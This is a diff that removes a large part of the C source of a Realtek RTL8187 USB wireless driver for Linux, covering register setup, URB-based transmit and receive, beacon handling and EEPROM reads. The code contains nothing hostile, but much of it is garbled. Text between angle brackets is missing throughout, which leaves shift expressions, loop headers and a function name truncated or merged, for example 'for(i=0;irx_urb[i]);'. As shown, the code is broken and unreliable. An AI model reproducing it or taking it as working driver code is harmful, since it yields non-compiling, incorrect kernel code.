priv->ieee80211->iw_mode == IW_MODE_MONITOR) - rxconf = rxconf | (1<card_8185){ - - txconf = txconf &~ (1<ieee80211->hw_seq) - txconf= txconf &~ (1<retry_data<retry_rts<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - */ -} - -#if 0 -void rtl8180_beacon_tx_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &=~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - - -void rtl8180_ -_disable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - -#endif - - -void rtl8180_rtx_disable(struct net_device *dev) -{ - u8 cmd; - int i; - struct r8180_priv *priv = ieee80211_priv(dev); - - cmd=read_nic_byte(dev,CMD); - write_nic_byte(dev, CMD, cmd &~ \ - ((1<rx_urb){ - for(i=0;irx_urb[i]); - } - /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) -// dev_kfree_skb_any(priv->rx_skb); -} - - -int alloc_tx_beacon_desc_ring(struct net_device *dev, int count) -{ - #if 0 - int i; - u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, - &priv->txbeaconringdma); - if (!priv->txbeaconring) return -1; - for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); - else - *(tmp+4) = (u32)priv->txbeaconringdma; - - tmp=tmp+8; - } - #endif - return 0; -} - - -void rtl8180_reset(struct net_device *dev) -{ - - u8 cr; - - /* make sure the analog power is on before - * reset, otherwise reset may fail - */ - rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - - rtl8180_irq_disable(dev); - - mdelay(200); - write_nic_byte_E(dev,0x18,0x10); - write_nic_byte_E(dev,0x18,0x11); - write_nic_byte_E(dev,0x18,0x00); - mdelay(200); - - cr=read_nic_byte(dev,CMD); - cr = cr & 2; - cr = cr | (1<11) return 0; - return rtl_rate[rate]; -} - - -void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->rxurb_task = rx_urb; -// DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); -// DMESGW("=David: Rx tasklet finish!"); -} - -#if 0 -void rtl8180_tx_queues_stop(struct net_device *dev) -{ - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -void rtl8180_data_hard_resume(struct net_device *dev) -{ - // FIXME !! - #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &= ~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -/* this function TX data frames when the ieee80211 stack requires this. - * It checks also if we need to stop the ieee tx queue, eventually do it - */ -void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; - unsigned long flags; - struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; -// DMESG("%x %x", h->frame_ctl, h->seq_ctl); - /* - * This function doesn't require lock because we make - * sure it's called with the tx_lock already acquired. - * this come from the kernel's hard_xmit callback (trought - * the ieee stack, or from the try_wake_queue (again trought - * the ieee stack. - */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - -} -#if 0 -/* This is a rough attempt to TX a frame - * This is called by the ieee 80211 stack to TX management frames. - * If the ring is full packet are dropped (for data frame the queue - * is stopped before this can happen). - */ -int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - int ret; - unsigned long flags; - - spin_lock_irqsave(&priv->tx_lock,flags); - - ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); -/* - int i; - for(i=0;ilen;i++) - printk("%x ", skb->data[i]); - printk("--------------------\n"); -*/ - priv->ieee80211->stats.tx_bytes+=skb->len; - priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - - dev_kfree_skb_any(skb); - return ret; -} -#endif - -#if 0 -// longpre 144+48 shortpre 72+24 -u16 rtl8180_len2duration(u32 len, short rate,short* ext) -{ - u16 duration; - u16 drift; - *ext=0; - - switch(rate){ - case 0://1mbps - *ext=0; - duration = ((len+4)<<4) /0x2; - drift = ((len+4)<<4) % 0x2; - if(drift ==0 ) break; - duration++; - break; - - case 1://2mbps - *ext=0; - duration = ((len+4)<<4) /0x4; - drift = ((len+4)<<4) % 0x4; - if(drift ==0 ) break; - duration++; - break; - - case 2: //5.5mbps - *ext=0; - duration = ((len+4)<<4) /0xb; - drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) - break; - duration++; - break; - - default: - case 3://11mbps - *ext=0; - duration = ((len+4)<<4) /0x16; - drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) - break; - duration++; - if(drift > 6) - break; - *ext=1; - break; - } - - return duration; -} -#endif - -void rtl8180_try_wake_queue(struct net_device *dev, int pri); - -void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txlpokint++; - else - priv->stats.txlperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_lp_pending); - rtl8180_try_wake_queue(dev,LOW_PRIORITY); -} - - -void rtl8187_beacon_stop(struct net_device *dev) -{ - u8 msr, msrm, msr2; - msr = read_nic_byte(dev, MSR); - msrm = msr & MSR_LINK_MASK; - msr2 = msr & ~MSR_LINK_MASK; - if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - - write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); - write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); - //for(i=0;ibssid[i]); - - rtl8180_update_msr(dev); - -// rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); - write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); - write_nic_word(dev, BcnIntTime, 100); - - -} - -void rtl8187_beacon_tx(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - struct sk_buff *skb; - int i = 0; - - rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ - DMESG("not enought memory for allocating beacon"); - return; - } - -#if 0 - while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ - msleep_interruptible_rtl(HZ/2); - if(i++ > 20){ - DMESG("get stuck to wait EP3 become ready"); - return ; - } - } -#endif - write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - - i=0; - //while(!read_nic_byte(dev,BQREQ & (1<<7))) - while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) - { - msleep_interruptible_rtl(HZ/2); - if(i++ > 10){ - DMESG("get stuck to wait HW beacon to be ready"); - return ; - } - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, - 0, priv->ieee80211->basic_rate); - -} - -void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txnpokint++; - else - priv->stats.txnperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); - //rtl8180_try_wake_queue(dev,NORM_PRIORITY); -} - - -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB - */ - -short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, - short morefrag, short rate) -{ - u32 *tx; -// u16 duration; -// short ext; - int pend ; - int status; - struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); -// int rate = ieeerate2rtlrate(priv->ieee80211->rate); - - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; - } - - - //tx = kmalloc((len + 4*3), GFP_ATOMIC); - urb_len = len + 4*3; - if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; - } - tx = kmalloc(urb_len, GFP_ATOMIC); - if(!tx) return -ENOMEM; -printk(KERN_WARNING "urb_len = %d\n", urb_len); - tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - - if(!tx_urb){ - - kfree(tx); - return -ENOMEM; - } - - memcpy(tx+3,txbuf,len); - tx[0] = 0; - tx[0] |= len & 0xfff; - tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} - if(morefrag) tx[0] |= (1<<17); - tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ - tx[0] |= (rate << 24); - tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - - -// tx[2] = 0x303020; - tx[2] = 3; // CW min - tx[2] |= (7<<4); //CW max - tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - -// printk("%x\n%x\n",tx[0],tx[1]); - - #ifdef DUMP_TX - int i; - printk("--rate %x---",rate); - for (i = 0; i < (len + 3); i++) - printk("%2x", ((u8*)tx)[i]); - printk("---------------\n"); - #endif - - - /* FIXME check what EP is for low/norm PRI */ - usb_fill_bulk_urb(tx_urb,priv->udev, - usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, - urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); - status = usb_submit_urb(tx_urb, GFP_ATOMIC); - if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - return 0; - }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); - return -1; - } -} - - - -void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); - - -short rtl8187_usb_initendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - - for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) - goto destroy; - - priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) - goto destroy1; - - priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; - } - - return 0; - -destroy1: - usb_free_urb(priv->rx_urb[i]); - -destroy: - while (--i >= 0){ - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - - kfree(priv->rx_urb); - - priv->rx_urb = NULL; - DMESGE("Endpoint Alloc Failure"); - return -ENOMEM; - -} - -void rtl8187_usb_deleteendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - if(priv->rx_urb){ - for(i=0;irx_urb[i]); - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - kfree(priv->rx_urb); - priv->rx_urb = NULL; - - } - -} - - -void rtl8187_set_rate(struct net_device *dev) -{ - int i; - u16 word; - int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && -// priv->ieee80211->state == IEEE80211_LINKED){ - basic_rate = ieeerate2rtlrate(240); - min_rr_rate = ieeerate2rtlrate(60); - max_rr_rate = ieeerate2rtlrate(240); - -// -// }else{ -// basic_rate = ieeerate2rtlrate(20); -// min_rr_rate = ieeerate2rtlrate(10); -// max_rr_rate = ieeerate2rtlrate(110); -// } - - write_nic_byte(dev, RESP_RATE, - max_rr_rate<beacon_interval); - rtl8187_net_update(dev); - /*update timing params*/ - rtl8180_set_chan(dev, priv->chan); - - rtl8187_set_rxconf(dev); -} - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv); - -short rtl8180_init(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - int i, j; - u16 word; - int ch; - //u16 version; - //u8 hw_version; - //u8 config3; - - //FIXME: these constants are placed in a bad pleace. - -// priv->txbuffsize = 1024; -// priv->txringcount = 32; -// priv->rxbuffersize = 1024; -// priv->rxringcount = 32; -// priv->txbeaconcount = 3; -// priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; - /* ^^ the SKB does not containt a partial RXed - * packet (is empty) - */ - - if(!channels){ - DMESG("No channels, aborting"); - return -1; - } - ch=channels; - // set channels 1..14 allowed in given locale - for (i=1; i<=14; i++) { - (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); - ch >>= 1; - } - //memcpy(priv->stats,0,sizeof(struct Stats)); - - //priv->irq_enabled=0; - -// priv->stats.rxdmafail=0; - priv->stats.txrdu=0; -// priv->stats.rxrdu=0; -// priv->stats.rxnolast=0; -// priv->stats.rxnodata=0; - //priv->stats.rxreset=0; - //priv->stats.rxwrkaround=0; -// priv->stats.rxnopointer=0; - priv->stats.txnperr=0; - priv->stats.txresumed=0; -// priv->stats.rxerr=0; -// priv->stats.rxoverflow=0; -// priv->stats.rxint=0; - priv->stats.txnpokint=0; - /*priv->stats.txhpokint=0; - priv->stats.txhperr=0;*/ - priv->stats.rxurberr=0; - priv->stats.rxstaterr=0; - priv->stats.txoverflow=0; - priv->stats.rxok=0; -// priv->stats.txbeaconerr=0; - priv->stats.txlperr=0; - priv->stats.txlpokint=0; - - priv->ieee80211->iw_mode = IW_MODE_INFRA; - - priv->retry_rts = DEFAULT_RETRY_RTS; - priv->retry_data = DEFAULT_RETRY_DATA; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; - priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; - spin_lock_init(&priv->tx_lock); - INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); - sema_init(&priv->wx_sem,1); - tasklet_init(&priv->irq_rx_tasklet, - (void(*)(unsigned long))rtl8180_irq_rx_tasklet, - (unsigned long)priv); - - //priv->ieee80211->func = - // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); - //memset(priv->ieee80211->func, 0, - // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; - priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | - IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | - /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - - priv->ieee80211->active_scan = 1; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; - priv->ieee80211->host_encrypt = 1; - priv->ieee80211->host_decrypt = 1; - priv->ieee80211->start_send_beacons = rtl8187_beacon_tx; - priv->ieee80211->stop_send_beacons = rtl8187_beacon_stop; - //priv->ieee80211->softmac_hard_start_xmit = rtl8180_hard_start_xmit; - priv->ieee80211->softmac_hard_start_xmit = NULL; - priv->ieee80211->set_chan = rtl8180_set_chan; - priv->ieee80211->link_change = rtl8187_link_change; - priv->ieee80211->softmac_data_hard_start_xmit = rtl8180_hard_data_xmit; - priv->ieee80211->data_hard_stop = rtl8180_data_hard_stop; - priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; - //priv->ieee80211->start_send_beacons = NULL; - //priv->ieee80211->stop_send_beacons = NULL; - - priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - - priv->card_8185 = 2; - priv->phy_ver = 2; - priv->card_type = USB; - - #if 0 - hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - - switch (hw_version){ - case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); - priv->card_8185 = 1; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); - priv->card_8185 = 2; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8180_ABCD: - DMESG("MAC controller is a RTL8180"); - priv->card_8185 = 0; - break; - - case HW_VERID_R8180_F: - DMESG("MAC controller is a RTL8180 (v. F)"); - priv->card_8185 = 0; - break; - - default: - DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); - priv->card_8185 = 0; - break; - } - - - /* you should not found any 8185 Ver B Card */ - priv->card_8185_Bversion = 0; - - config3 = read_nic_byte(dev, CONFIG3); - if(config3 & 0x8){ - priv->card_type = CARDBUS; - DMESG("This is a CARDBUS NIC"); - } - else if( config3 & 0x4){ - priv->card_type = MINIPCI; - DMESG("This is a MINI-PCI NIC"); - }else{ - priv->card_type = PCI; - DMESG("This is a PCI NIC"); - } - #endif - priv->enable_gpio0 = 0; - - - /* commented out just because we already do - this when resetting the card - andrea 20050924 - */ - #if 0 - - u8 txcr, txreg50; - u32 txreg54, txreg60; - - /* enable A/D D/A register */ - txcr = read_nic_byte(dev, 0x59); -// DMESG("", txcr); - //write_nic_word(dev, 0x59, 0x44); - write_nic_byte(dev, 0x59, 0x44); - //write_nic_byte(dev, 0x59, 0xea); - txcr = read_nic_byte(dev, 0x59); -// DMESG("<>", txcr); - - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("", txreg50); - write_nic_byte(dev, 0x50, 0xc0); - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("<>", txreg50); - - - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("", txreg54); - txreg54 = 0xa0000a59; - // DMESG("<>", txreg54); - write_nic_dword(dev, 0x54, txreg54); - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("<<>>", txreg54); - - txreg60 = read_nic_dword(dev, 0x60); - // DMESG("", txreg60); - - write_nic_byte(dev, 0x50, 0x0); - txcr = read_nic_byte(dev, 0x50); - // DMESG("<>", txcr); - -#endif - - /*the eeprom type is stored in RCR register bit #6 */ - if (RCR_9356SEL & read_nic_dword(dev, RCR)){ - priv->epromtype=EPROM_93c56; - DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); - }else{ - priv->epromtype=EPROM_93c46; - DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); - } - - dev->get_stats = rtl8180_stats; - - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; - dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; - dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; - dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; - dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; - dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - - DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - - for(i=1,j=0; i<6; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW0 + j); - priv->chtxpwr[i]=word & 0xf; - priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; - priv->chtxpwr[i+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW1 + j); - priv->chtxpwr[i+6]=word & 0xf; - priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW2 + j); - priv->chtxpwr[i+6+4]=word & 0xf; - priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; - } - - - priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - - word = eprom_read(dev,EPROM_TXPW_BASE); - priv->cck_txpwr_base = word & 0xf; - priv->ofdm_txpwr_base = (word>>4) & 0xf; - - /* check RF frontend chipset */ - - switch (priv->rf_chip) { - - case EPROM_RFCHIPID_RTL8225U: - - DMESG("Card reports RF frontend Realtek 8225"); - DMESGW("This driver has EXPERIMENTAL support for this chipset."); - DMESGW("use it with care and at your own risk and"); - DMESGW("**PLEASE** REPORT SUCCESS/INSUCCESS TO andreamrl@tiscali.it"); - if(rtl8225_is_V_z2(dev)){ - priv->rf_init = rtl8225z2_rf_init; - priv->rf_set_chan = rtl8225z2_rf_set_chan; - priv->rf_set_sens = NULL; - DMESG("This seems a new V2 radio"); - }else{ - priv->rf_init = rtl8225_rf_init; - priv->rf_set_chan = rtl8225_rf_set_chan; - priv->rf_set_sens = rtl8225_rf_set_sens; - DMESG("This seems a legacy 1st version radio"); - } - priv->rf_close = rtl8225_rf_close; - - priv->max_sens = RTL8225_RF_MAX_SENS; - priv->sens = RTL8225_RF_DEF_SENS; - break; - - default: - DMESGW("Unknown RF module %x",priv->rf_chip); - DMESGW("Exiting..."); - return -1; - - } - -// DMESG("Energy threshold: %x",priv->cs_treshold); - DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); - //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ - DMESG("Endopoints initialization failed"); - return -ENOMEM; - } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_NORMPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_HIGHPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_LOWPRIORITY_RING_ADDR)) - return -ENOMEM; - - - if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) - return -ENOMEM; -#endif - - -#ifdef DEBUG_EPROM - dump_eprom(dev); -#endif - return 0; - -} - -void rtl8185_rf_pins_enable(struct net_device *dev) -{ -/* u16 tmp; - tmp = read_nic_word(dev, RFPinsEnable);*/ - write_nic_word(dev, RFPinsEnable, 0x1ff7);// | tmp); -} - - -void rtl8185_set_anaparam2(struct net_device *dev, u32 a) -{ - u8 conf3; - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); - write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); - write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); - write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); - - //read_nic_dword(dev, PHY_ADR); -#if 0 - for(i=0;i<10;i++){ - write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); - phyr = read_nic_byte(dev, PHY_READ); - if(phyr == (data&0xff)) break; - - } -#endif - /* this is ok to fail when we write AGC table. check for AGC table might be - * done by masking with 0x7f instead of 0xff - */ - //if(phyr != (data&0xff)) DMESGW("Phy write timeout %x %x %x", phyr, data, adr); - mdelay(1); -} - - -inline void write_phy_ofdm (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data); -} - - -void write_phy_cck (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data | 0x10000); -} - - -void rtl8180_adapter_start(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //u32 anaparam; - //u8 config3; - - //rtl8180_rtx_disable(dev); - rtl8180_reset(dev); - - write_nic_byte(dev,0x85,0); - write_nic_byte(dev,0x91,0); - - /* light blink! */ - write_nic_byte(dev,0x85,4); - write_nic_byte(dev,0x91,1); - write_nic_byte(dev,0x90,0); - - priv->irq_mask = 0xffff; -/* - priv->dma_poll_mask = 0; - priv->dma_poll_mask|= (1<dev_addr)[0]); - write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - rtl8180_update_msr(dev); - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - write_nic_word(dev,0xf4,0xffff); - write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); - - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); - -#ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); -#endif - - - write_nic_byte(dev, WPA_CONFIG, 0); - - write_nic_byte(dev, RATE_FALLBACK, 0x81); - rtl8187_set_rate(dev); - - priv->rf_init(dev); - - if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - - write_nic_word(dev,0x5e,1); - - #if 1 - //mdelay(1); - write_nic_word(dev,0xfe,0x10); -// mdelay(1); - #endif - write_nic_byte(dev, TALLY_SEL, 0x80);//Set NQ retry count - - write_nic_byte(dev, 0xff, 0x60); - - write_nic_word(dev,0x5e,0); - - - rtl8180_irq_enable(dev); - /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - - DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - - DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); - if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); - if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); - if(check_nic_enought_desc(dev,LOW_PRIORITY)) DMESG("LOW OK");*/ -} - - - -/* this configures registers for beacon tx and enables it via - * rtl8180_beacon_tx_enable(). rtl8180_beacon_tx_disable() might - * be used to stop beacon transmission - */ -#if 0 -void rtl8180_start_tx_beacon(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; - DMESG("Enabling beacon TX"); - //write_nic_byte(dev, 0x42,0xe6);// TCR - //rtl8180_init_beacon(dev); - //set_nic_txring(dev); -// rtl8180_prepare_beacon(dev); - rtl8180_irq_disable(dev); -// rtl8180_beacon_tx_enable(dev); - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - //write_nic_byte(dev,0x9d,0x20); //DMA Poll - //write_nic_word(dev,0x7a,0); - //write_nic_word(dev,0x7a,0x8000); - - - word = read_nic_word(dev, BcnItv); - word &= ~BcnItv_BcnItv; // clear Bcn_Itv - write_nic_word(dev, BcnItv, word); - - write_nic_word(dev, AtimWnd, - read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - - word = read_nic_word(dev, BintrItv); - word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * - // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); - // FIXME:FIXME check if correct ^^ worked with 0x3e8; - - write_nic_word(dev, BintrItv, word); - - //write_nic_word(dev,0x2e,0xe002); - //write_nic_dword(dev,0x30,0xb8c7832e); - for(i=0; iieee80211->beacon_cell_ssid[i]); - -// rtl8180_update_msr(dev); - - - //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - - rtl8180_irq_enable(dev); - - /* VV !!!!!!!!!! VV*/ - /* - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - 